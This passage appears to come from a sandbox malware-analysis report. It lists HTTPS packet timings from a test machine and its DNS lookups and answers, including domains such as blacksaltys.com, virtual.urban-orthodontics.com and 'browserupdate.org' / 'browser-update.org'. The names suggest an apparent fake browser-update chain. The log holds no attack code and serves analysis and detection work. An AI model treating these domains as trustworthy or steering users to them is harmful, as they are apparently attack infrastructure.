Oct 7, 2024 13:17:06.921864986 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.937722921 CEST	443	49832	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.937944889 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.938004971 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.938055038 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.938108921 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.938136101 CEST	49832	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.938148975 CEST	443	49832	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.938252926 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.938313961 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.938534975 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.938587904 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.938591003 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.938605070 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.938638926 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.938648939 CEST	443	49832	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.938811064 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.938874006 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.938971996 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.939028025 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.939172029 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.939224958 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.939342976 CEST	49832	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.939424992 CEST	443	49825	20.12.23.50	192.168.2.4
Oct 7, 2024 13:17:06.939446926 CEST	443	49832	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.939483881 CEST	49832	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.939522028 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.939587116 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.939706087 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.939831018 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.939840078 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.939893007 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.966587067 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.966662884 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.966669083 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.966682911 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.966723919 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.966756105 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.966810942 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.966850996 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.966907978 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.968089104 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.968154907 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.987401009 CEST	443	49832	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:06.987745047 CEST	49832	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:06.988168955 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.988358021 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.988528013 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.988595963 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.988781929 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.988851070 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.989185095 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.989253998 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.989375114 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.989438057 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.989578009 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.989644051 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.989775896 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.989840031 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.989994049 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.990051985 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.990225077 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.990283966 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.990431070 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.990493059 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:06.990638971 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:06.990704060 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.007493019 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.007581949 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.007680893 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.007682085 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.007745028 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.007797956 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.007920980 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.007987976 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.008136988 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.008205891 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.008405924 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.008471012 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.008588076 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.008651018 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.030690908 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.030775070 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.030785084 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.030801058 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.030819893 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.030847073 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.030987024 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.031035900 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.031045914 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.031050920 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.031075001 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.031091928 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.031095982 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.031157970 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.031202078 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.075239897 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.075335026 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.075442076 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.075583935 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.075643063 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.075702906 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.075823069 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.075897932 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.075917006 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.075942993 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.076005936 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.076019049 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.076071978 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.076226950 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.076302052 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.076603889 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.076673985 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.076786041 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.076855898 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.077001095 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.077159882 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.077234030 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.077302933 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.077507973 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.077575922 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.078742027 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.078772068 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.091963053 CEST	443	49825	20.12.23.50	192.168.2.4
Oct 7, 2024 13:17:07.092027903 CEST	443	49825	20.12.23.50	192.168.2.4
Oct 7, 2024 13:17:07.092047930 CEST	443	49825	20.12.23.50	192.168.2.4
Oct 7, 2024 13:17:07.092068911 CEST	443	49825	20.12.23.50	192.168.2.4
Oct 7, 2024 13:17:07.092097998 CEST	49825	443	192.168.2.4	20.12.23.50
Oct 7, 2024 13:17:07.092108965 CEST	443	49825	20.12.23.50	192.168.2.4
Oct 7, 2024 13:17:07.092128992 CEST	443	49825	20.12.23.50	192.168.2.4
Oct 7, 2024 13:17:07.092130899 CEST	49825	443	192.168.2.4	20.12.23.50
Oct 7, 2024 13:17:07.092155933 CEST	49825	443	192.168.2.4	20.12.23.50
Oct 7, 2024 13:17:07.092158079 CEST	443	49825	20.12.23.50	192.168.2.4
Oct 7, 2024 13:17:07.092179060 CEST	49825	443	192.168.2.4	20.12.23.50
Oct 7, 2024 13:17:07.092206955 CEST	49825	443	192.168.2.4	20.12.23.50
Oct 7, 2024 13:17:07.092353106 CEST	443	49825	20.12.23.50	192.168.2.4
Oct 7, 2024 13:17:07.092422962 CEST	49825	443	192.168.2.4	20.12.23.50
Oct 7, 2024 13:17:07.092432976 CEST	443	49825	20.12.23.50	192.168.2.4
Oct 7, 2024 13:17:07.092539072 CEST	443	49825	20.12.23.50	192.168.2.4
Oct 7, 2024 13:17:07.092803955 CEST	49825	443	192.168.2.4	20.12.23.50
Oct 7, 2024 13:17:07.094571114 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.094701052 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.094790936 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.094790936 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.094856024 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.094893932 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.094964027 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.094981909 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.095045090 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.095084906 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.095097065 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.095127106 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.095201015 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.095328093 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.095407963 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.098021984 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.173677921 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.173715115 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.173737049 CEST	443	49832	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:07.173866987 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.173867941 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.173876047 CEST	443	49832	104.26.12.241	192.168.2.4
Oct 7, 2024 13:17:07.173929930 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.173986912 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.173985004 CEST	49832	443	192.168.2.4	104.26.12.241
Oct 7, 2024 13:17:07.174062967 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.174108028 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.174138069 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.174292088 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.174293041 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.174293041 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.174357891 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.174750090 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.174899101 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.174937963 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.175007105 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.175044060 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.175049067 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.175070047 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.175085068 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.175112963 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.175133944 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.175172091 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.175249100 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:07.175297022 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:07.175368071 CEST	49822	443	192.168.2.4	192.185.125.111

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 13:16:55.646341085 CEST	192.168.2.4	1.1.1.1	0x22c	Standard query (0)	www.twbcompany.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:55.646471024 CEST	192.168.2.4	1.1.1.1	0xdb21	Standard query (0)	www.twbcompany.com	65	IN (0x0001)	false
Oct 7, 2024 13:16:56.685760021 CEST	192.168.2.4	1.1.1.1	0x27c9	Standard query (0)	www.twbcompany.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:56.686307907 CEST	192.168.2.4	1.1.1.1	0xdfc1	Standard query (0)	www.twbcompany.com	65	IN (0x0001)	false
Oct 7, 2024 13:16:57.324872017 CEST	192.168.2.4	1.1.1.1	0x236d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:57.325836897 CEST	192.168.2.4	1.1.1.1	0xa424	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 7, 2024 13:16:57.684273958 CEST	192.168.2.4	1.1.1.1	0x14c3	Standard query (0)	www.twbcompany.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:57.684976101 CEST	192.168.2.4	1.1.1.1	0x3d64	Standard query (0)	www.twbcompany.com	65	IN (0x0001)	false
Oct 7, 2024 13:16:58.913408995 CEST	192.168.2.4	1.1.1.1	0xc22d	Standard query (0)	blacksaltys.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:58.914347887 CEST	192.168.2.4	1.1.1.1	0xdd4e	Standard query (0)	blacksaltys.com	65	IN (0x0001)	false
Oct 7, 2024 13:16:58.914347887 CEST	192.168.2.4	1.1.1.1	0xb653	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:58.914706945 CEST	192.168.2.4	1.1.1.1	0x9919	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 7, 2024 13:16:58.964797020 CEST	192.168.2.4	1.1.1.1	0xf0e2	Standard query (0)	secure.leadforensics.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:58.965213060 CEST	192.168.2.4	1.1.1.1	0x9413	Standard query (0)	secure.leadforensics.com	65	IN (0x0001)	false
Oct 7, 2024 13:17:00.010574102 CEST	192.168.2.4	1.1.1.1	0xca4f	Standard query (0)	secure.leadforensics.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:00.011197090 CEST	192.168.2.4	1.1.1.1	0x57a7	Standard query (0)	secure.leadforensics.com	65	IN (0x0001)	false
Oct 7, 2024 13:17:00.015053988 CEST	192.168.2.4	1.1.1.1	0x56e9	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:00.015559912 CEST	192.168.2.4	1.1.1.1	0xd412	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 7, 2024 13:17:00.480360985 CEST	192.168.2.4	1.1.1.1	0x53ce	Standard query (0)	www.twbcompany.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:00.480638981 CEST	192.168.2.4	1.1.1.1	0x1304	Standard query (0)	www.twbcompany.com	65	IN (0x0001)	false
Oct 7, 2024 13:17:00.493052006 CEST	192.168.2.4	1.1.1.1	0xa1cc	Standard query (0)	blacksaltys.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:00.493618011 CEST	192.168.2.4	1.1.1.1	0x90b6	Standard query (0)	blacksaltys.com	65	IN (0x0001)	false
Oct 7, 2024 13:17:01.305814981 CEST	192.168.2.4	1.1.1.1	0xb005	Standard query (0)	virtual.urban-orthodontics.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:01.305921078 CEST	192.168.2.4	1.1.1.1	0x70c1	Standard query (0)	virtual.urban-orthodontics.com	65	IN (0x0001)	false
Oct 7, 2024 13:17:01.306478977 CEST	192.168.2.4	1.1.1.1	0x2c9c	Standard query (0)	j.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:01.306569099 CEST	192.168.2.4	1.1.1.1	0xb241	Standard query (0)	j.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 13:17:02.578022003 CEST	192.168.2.4	1.1.1.1	0x9a9e	Standard query (0)	j.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:02.578181028 CEST	192.168.2.4	1.1.1.1	0xadbb	Standard query (0)	j.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 13:17:03.498058081 CEST	192.168.2.4	1.1.1.1	0xba1f	Standard query (0)	browserupdate.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:03.498302937 CEST	192.168.2.4	1.1.1.1	0x4f86	Standard query (0)	browserupdate.org	65	IN (0x0001)	false
Oct 7, 2024 13:17:04.791748047 CEST	192.168.2.4	1.1.1.1	0x2673	Standard query (0)	browser-update.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:04.791884899 CEST	192.168.2.4	1.1.1.1	0xe3ac	Standard query (0)	browser-update.org	65	IN (0x0001)	false
Oct 7, 2024 13:17:05.004497051 CEST	192.168.2.4	1.1.1.1	0xe46	Standard query (0)	browserupdate.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:05.004715919 CEST	192.168.2.4	1.1.1.1	0x7518	Standard query (0)	browserupdate.org	65	IN (0x0001)	false
Oct 7, 2024 13:17:05.728678942 CEST	192.168.2.4	1.1.1.1	0xe9f6	Standard query (0)	virtual.urban-orthodontics.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:05.728923082 CEST	192.168.2.4	1.1.1.1	0x4f01	Standard query (0)	virtual.urban-orthodontics.com	65	IN (0x0001)	false
Oct 7, 2024 13:17:05.771678925 CEST	192.168.2.4	1.1.1.1	0xd03b	Standard query (0)	browser-update.org	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:05.777421951 CEST	192.168.2.4	1.1.1.1	0x4f04	Standard query (0)	browser-update.org	65	IN (0x0001)	false
Oct 7, 2024 13:17:09.883927107 CEST	192.168.2.4	1.1.1.1	0x9c10	Standard query (0)	virtual.urban-orthodontics.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:09.884350061 CEST	192.168.2.4	1.1.1.1	0x2312	Standard query (0)	virtual.urban-orthodontics.com	65	IN (0x0001)	false
Oct 7, 2024 13:17:16.199470997 CEST	192.168.2.4	1.1.1.1	0xcac6	Standard query (0)	c.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:16.199795961 CEST	192.168.2.4	1.1.1.1	0xc039	Standard query (0)	c.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 13:17:16.200385094 CEST	192.168.2.4	1.1.1.1	0x72cd	Standard query (0)	ipv6.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:16.200805902 CEST	192.168.2.4	1.1.1.1	0x319a	Standard query (0)	ipv6.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 13:17:16.203166962 CEST	192.168.2.4	1.1.1.1	0xfa81	Standard query (0)	b.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:16.203546047 CEST	192.168.2.4	1.1.1.1	0xedab	Standard query (0)	b.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 13:17:17.141458035 CEST	192.168.2.4	1.1.1.1	0xb7d6	Standard query (0)	ipv6.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:17.141588926 CEST	192.168.2.4	1.1.1.1	0xcff0	Standard query (0)	ipv6.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 13:17:17.158624887 CEST	192.168.2.4	1.1.1.1	0xd8b7	Standard query (0)	c.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:17.158754110 CEST	192.168.2.4	1.1.1.1	0xd183	Standard query (0)	c.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 13:17:17.173338890 CEST	192.168.2.4	1.1.1.1	0xc6d9	Standard query (0)	b.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:17.173470974 CEST	192.168.2.4	1.1.1.1	0xbbe5	Standard query (0)	b.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 13:17:59.275265932 CEST	192.168.2.4	1.1.1.1	0x5720	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:59.276122093 CEST	192.168.2.4	1.1.1.1	0x39de	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 7, 2024 13:18:16.303550959 CEST	192.168.2.4	1.1.1.1	0xb7d3	Standard query (0)	b.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:18:16.303663969 CEST	192.168.2.4	1.1.1.1	0x82a8	Standard query (0)	b.6sc.co	65	IN (0x0001)	false
Oct 7, 2024 13:18:17.465811968 CEST	192.168.2.4	1.1.1.1	0xec7e	Standard query (0)	b.6sc.co	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:18:17.466005087 CEST	192.168.2.4	1.1.1.1	0x79f2	Standard query (0)	b.6sc.co	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 13:16:57.109286070 CEST	1.1.1.1	192.168.2.4	0x22c	No error (0)	www.twbcompany.com		192.185.125.111	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:57.332545996 CEST	1.1.1.1	192.168.2.4	0xa424	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 7, 2024 13:16:57.333045006 CEST	1.1.1.1	192.168.2.4	0x236d	No error (0)	www.google.com		142.250.186.36	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:57.360846043 CEST	1.1.1.1	192.168.2.4	0x27c9	No error (0)	www.twbcompany.com		192.185.125.111	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:57.786130905 CEST	1.1.1.1	192.168.2.4	0x14c3	No error (0)	www.twbcompany.com		192.185.125.111	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:58.921289921 CEST	1.1.1.1	192.168.2.4	0xb653	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:58.921289921 CEST	1.1.1.1	192.168.2.4	0xb653	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:58.921289921 CEST	1.1.1.1	192.168.2.4	0xb653	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:58.921289921 CEST	1.1.1.1	192.168.2.4	0xb653	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:16:58.995529890 CEST	1.1.1.1	192.168.2.4	0xf0e2	No error (0)	secure.leadforensics.com	lftracking.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:16:59.024164915 CEST	1.1.1.1	192.168.2.4	0x9413	No error (0)	secure.leadforensics.com	lftracking.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:16:59.197076082 CEST	1.1.1.1	192.168.2.4	0xc22d	No error (0)	blacksaltys.com		77.232.36.155	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:00.022217989 CEST	1.1.1.1	192.168.2.4	0x56e9	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:00.022217989 CEST	1.1.1.1	192.168.2.4	0x56e9	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:00.022217989 CEST	1.1.1.1	192.168.2.4	0x56e9	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:00.022217989 CEST	1.1.1.1	192.168.2.4	0x56e9	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:00.042002916 CEST	1.1.1.1	192.168.2.4	0x57a7	No error (0)	secure.leadforensics.com	lftracking.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:00.042124987 CEST	1.1.1.1	192.168.2.4	0xca4f	No error (0)	secure.leadforensics.com	lftracking.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 13:17:00.591415882 CEST	1.1.1.1	192.168.2.4	0xa1cc	No error (0)	blacksaltys.com		77.232.36.155	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:00.863603115 CEST	1.1.1.1	192.168.2.4	0x53ce	No error (0)	www.twbcompany.com		192.185.125.111	A (IP address)	IN (0x0001)	false
Oct 7, 2024 13:17:01.314984083 CEST	1.1.1.1	192.168.2.4	0xb005	No error (0)	virtual.urban-orthodontics.com		185.76.79.50	A (IP address)	IN (0x0001)	false
